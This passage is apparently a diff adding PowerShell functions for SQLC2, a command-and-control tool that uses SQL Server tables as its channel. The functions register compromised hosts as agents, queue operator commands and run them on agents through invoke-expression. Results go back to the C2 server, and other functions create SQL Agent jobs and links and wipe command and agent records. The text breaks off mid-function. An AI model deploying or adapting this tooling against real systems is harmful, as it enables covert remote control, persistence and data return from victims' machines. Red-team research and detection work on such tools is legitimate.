[JOB_DESCRIPTION], + step_name, + command, + enabled, + server, + database_name, + date_created + FROM [msdb].[dbo].[sysjobs] job + INNER JOIN [msdb].[dbo].[sysjobsteps] steps + ON job.job_id = steps.job_id + WHERE name like 'SQLC2 Agent Job' + ORDER BY JOB_OWNER,JOB_NAME" + + # Run Query + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'msdb' -SuppressVerbose -TimeOut 300 + + # Verify job was added + if(($TblResults | Measure-Object | select count -ExpandProperty count) -eq 1) + { + Write-Verbose "$instance : Confirmed the job named 'SQLC2 Agent Job' was added." + }else{ + Write-Verbose "$instance : The agent job could not be created or already exists." + Write-Verbose "$instance : You will have to remove the SQL Server link 'SQLC2Server." + return + } + + Write-Verbose "$instance : Done." + } + + End + { + # Return data + # $TblResults + } +} + + +# ---------------------------------- +# Register-SQLC2Agent +# ---------------------------------- +# Author: Scott Sutherland +Function Register-SQLC2Agent +{ + <# + .SYNOPSIS + This command should be run on the c2 agent system so it can send a keep alive to the server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER Table + Table name to that contains target column. + .PARAMETER Column + Column that contains the TSQL command to run. + .EXAMPLE + PS C:\> Register-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Register-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + $TblDatabases = New-Object -TypeName System.Data.DataTable + $null = $TblDatabases.Columns.Add('ServerName') + $null = $TblDatabases.Columns.Add('Command') + $null = $TblDatabases.Columns.Add('Status') + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup query to grab commands + $Query = " + -- checkin as agent + IF not Exists (SELECT * FROM dbo.C2Agents WHERE servername = '$env:COMPUTERNAME') + INSERT dbo.C2Agents (servername,agentype) VALUES ('$env:COMPUTERNAME','PsProcess') + ELSE + UPDATE dbo.C2Agents SET lastcheckin = (select GETDATE ()) + WHERE servername like '$env:COMPUTERNAME'" + + # Execute Query + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + + Write-Verbose "$instance : $env:COMPUTERNAME agent registered/checked in." + } + + End + { + # Return data + $TblResults + } +} + + +# ---------------------------------- +# Get-SQLC2Agent +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLC2Agent +{ + <# + .SYNOPSIS + This command should be run against the C2 SQLserver and will return a list of agents. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER Table + Table name to that contains target column. + .PARAMETER Column + Column that contains the TSQL command to run. + .EXAMPLE + PS C:\> Get-SQLC2Agent-Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Get-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup query to grab commands + $Query = "SELECT * FROM dbo.c2agents" + + # Execute Query + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $AgentCount = $TblResults | measure | select count -ExpandProperty count + + Write-Verbose -Message "$Instance : $AgentCount agents were found registered." + } + + End + { + # Return data + $TblResults + } +} + + +# ---------------------------------- +# Set-SQLC2Command +# ---------------------------------- +# Author: Scott Sutherland +Function Set-SQLC2Command +{ + <# + .SYNOPSIS + This functions stores a command in the C2COMMAND table of the C2 SQL Server. + This command should be run against the C2 SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER ServerName + ServerName to run the command on. By default it is all nodes. + .PARAMETER Command + Command to run on the agent. + .EXAMPLE + PS C:\> Set-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Command 'whoami' -ServerName host1 + PS C:\> Set-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 -Command 'whoami' -ServerName host1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'ServerName of the agent.')] + [string]$ServerName, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Command to run on the agent.')] + [string]$Command, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + $TblDatabases = New-Object -TypeName System.Data.DataTable + $null = $TblDatabases.Columns.Add('ServerName') + $null = $TblDatabases.Columns.Add('Command') + $null = $TblDatabases.Columns.Add('Status') + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + + # Setup agent node filtering based on servername + If(-not $ServerName){ + $ServerName = "All" + } + + # Test connection + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose "$instance : Attempting to set command on C2 Server $Instance for $ServerName agent(s)." + Write-Verbose "$instance : Command: $Command" + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Set command for single agent + $Query = "INSERT dbo.C2COMMANDS (ServerName,Command,Status) VALUES ('$ServerName','$Command','pending')" + + # Execute Query + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + + Write-Verbose "$instance : Command added for $ServerName agent(s) on C2 server $Instance." + } + + End + { + # Return data + $TblResults + } +} + + +# ---------------------------------- +# Get-SQLC2Command +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLC2Command +{ + <# + .SYNOPSIS + This command gets a command from a table on a remote c2 SQL Server. + This command should be run on the c2 agent system so it can pull down + any commands the C2 server has for it to execute. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER Execute + Run all of the commands downloaded from the C2 server on the agent system. + .EXAMPLE + PS C:\> Get-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + .EXAMPLE + PS C:\> Get-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Execute + .EXAMPLE + PS C:\> Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Execute commands from c2.')] + [switch]$Execute, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose "$instance : Attempting to grab command from $Instance." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Check in the server + Register-SQLC2Agent -Username $Username -Password $Password -Instance $Instance -Database $Database -SuppressVerbose | Out-Null + + # Setup query to grab commands + $Query = "SELECT * FROM dbo.c2commands where status like 'pending' and (servername like '$env:COMPUTERNAME' or servername like 'All')" + + # Execute Query + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + + # check command count + $CommandCount = $TblResults | measure | select count -ExpandProperty count + + Write-Verbose "$instance : $CommandCount commands were from $Instance." + } + + End + { + # Process command execution + if($Execute){ + + # Loop through pending commands + $TblResults | ForEach-Object { + + # Grab command + $C2CommandId = $_.cid + $C2Command = $_.command + + # Execute command + Invoke-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Command $C2Command -Cid $C2CommandId + } + }else{ + + # Return data + $TblResults + } + } + } + + +# ---------------------------------- +# Invoke-SQLC2Command +# ---------------------------------- +# Author: Scott Sutherland +Function Invoke-SQLC2Command +{ + <# + .SYNOPSIS + This command should be run on the agent system. It will execute a OS command locally and + return the results to the C2 SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER Command + The OS command to run. + .EXAMPLE + PS C:\> Invoke-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Invoke-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'The OS command to run.')] + [string]$Command, + + [Parameter(Mandatory = $true, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'This is the unique command id provide from the server.')] + [Int]$Cid, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + } + + Process + { + Write-Verbose "Running command $Cid on $env:COMPUTERNAME" + Write-Verbose "Command: $Command" + + # Run the command + try{ + $CommandResults = invoke-expression "$Command" + Write-Verbose "Command complete." + $CommandStatus = "success" + }catch{ + Write-Verbose "Command failed. Aborting." + $CommandStatus = "failed" + } + + # Parse computer name from the instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Check in the server + Register-SQLC2Agent -Username $Username -Password $Password -Instance $Instance -Database $Database -SuppressVerbose | Out-Null + + # Setup query to grab commands + Write-Verbose -Message "$Instance : Send command results to $Instance for command $Cid." + $Query = " + -- update command request from server + UPDATE dbo.C2COMMANDS SET lastupdate = (select GETDATE ()),result = '$CommandResults',status='$CommandStatus',command='$Command' + WHERE CID like $Cid" + + # Execute Query + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + + # check command count + $CommandCount = $TblResults.row.count + + Write-Verbose "$instance : Update sent." + } + + End + { + # Return data + $TblResults + } + } + + +# ---------------------------------- +# Get-SQLC2Result +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLC2Result +{ + <# + .SYNOPSIS + This function gets command results from the C2 SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER ServerName + Filter by server name. + .PARAMETER Cid + Filter by command id. + .PARAMETER Status + Filter by status. + .EXAMPLE + PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Cid 1 + PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Status "Success" + PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName "Server1" + PS C:\> Get-SQLC2Result -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Filter by server name.')] + [string]$ServerName, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Filter by Status.')] + [ValidateSet("pending","success","failed")] + [string]$Status, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Filter by command ID.')] + [string]$Cid, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + + # Create ServerName filter + if($ServerName){ + $FilterServerName = "WHERE servername like '$ServerName'" + }else{ + $FilterServerName = "" + } + + # Create Status filter + if($Status){ + $FilterStatus = "WHERE status like '$Status'" + }else{ + $FilterStatus = "" + } + + + # Create ServerName filter + if($Cid){ + $FilterCid = "WHERE cid like '$Cid'" + }else{ + $FilterCid = "" + } + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose "$instance : Attempting to grab command from $env:COMPUTERNAME ." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup query to grab commands + $Query = " + SELECT * FROM dbo.c2commands + $FilterServerName + $FilterStatus + $FilterCid + " + $Query + # Execute Query + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + + # check command count + $CommandCount = $TblResults.row.count + + Write-Verbose "$instance : $CommandCount commands were from $env:COMPUTERNAME." + } + + End + { + # Return data + $TblResults + } + } + + +# ---------------------------------- +# Remove-SQLC2Command +# ---------------------------------- +# Author: Scott Sutherland +Function Remove-SQLC2Command +{ + <# + .SYNOPSIS + This command clears the command history on the remote c2 SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER ServerName + Server name to clear command history for. + .EXAMPLE + PS C:\> Remove-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + .EXAMPLE + PS C:\> Remove-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1 + .EXAMPLE + PS C:\> Remove-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Server to clear command history for.')] + [string]$ServerName, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + + if($ServerName){ + $ServerFilter = "WHERE servername like '$ServerName'" + }else{ + $ServerFilter = "" + } + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose "$instance : Attempting to clear command history from $Instance." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup query to grab commands + $Query = "DELETE FROM dbo.C2COMMANDS + $ServerFilter" + + # Execute Query + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + } + + End + { + Write-Verbose "$instance : Done." + } + } + + +# ---------------------------------- +# Remove-SQLC2Agent +# ---------------------------------- +# Author: Scott Sutherland +Function Remove-SQLC2Agent +{ + <# + .SYNOPSIS + This command clears the agents registered on the remote c2 SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DatabaseName + Database name that contains target table. + .PARAMETER ServerName + Server name to clear command history for. + .EXAMPLE + PS C:\> Remove-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + .EXAMPLE + PS C:\> Remove-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1 + .EXAMPLE + PS C:\> Remove-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Server to clear command history for.')] + [string]$ServerName, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + + if($ServerName){ + $ServerFilter = "WHERE servername like '$ServerName'" + }else{ + $ServerFilter = "" + } + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose "$instance : Attempting to clear agent(s) from $Instance." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup query to grab commands + $Query = "DELETE FROM dbo.C2AGENTS + $ServerFilter" + + # Execute Query + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + } + + End + { + Write-Verbose "$instance : Done." + } + } + + +# ---------------------------------- +# Uninstall-SQLC2AgentLink +# ---------------------------------- +# Author: Scott Sutherland +Function Uninstall-SQLC2AgentLink +{ + <# + .SYNOPSIS + This command removes the C2 server link and agent job from the agent SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + .EXAMPLE + PS C:\> Uninstall-SQLC2Agent -Verbose -Instance "SQLServer1\STANDARDDEV2014" -Username sa -Password 'MyPassword123!' + .EXAMPLE + PS C:\> Uninstall-SQLC2Agent -Verbose -Instance "SQLServer1\STANDARDDEV2014" + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + + if($ServerName){ + $ServerFilter = "WHERE servername like '$ServerName'" + }else{ + $ServerFilter = "" + } + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose "$instance : Attempting to remove the C2 link agent on $Instance." + } + } + else + { + if( -not 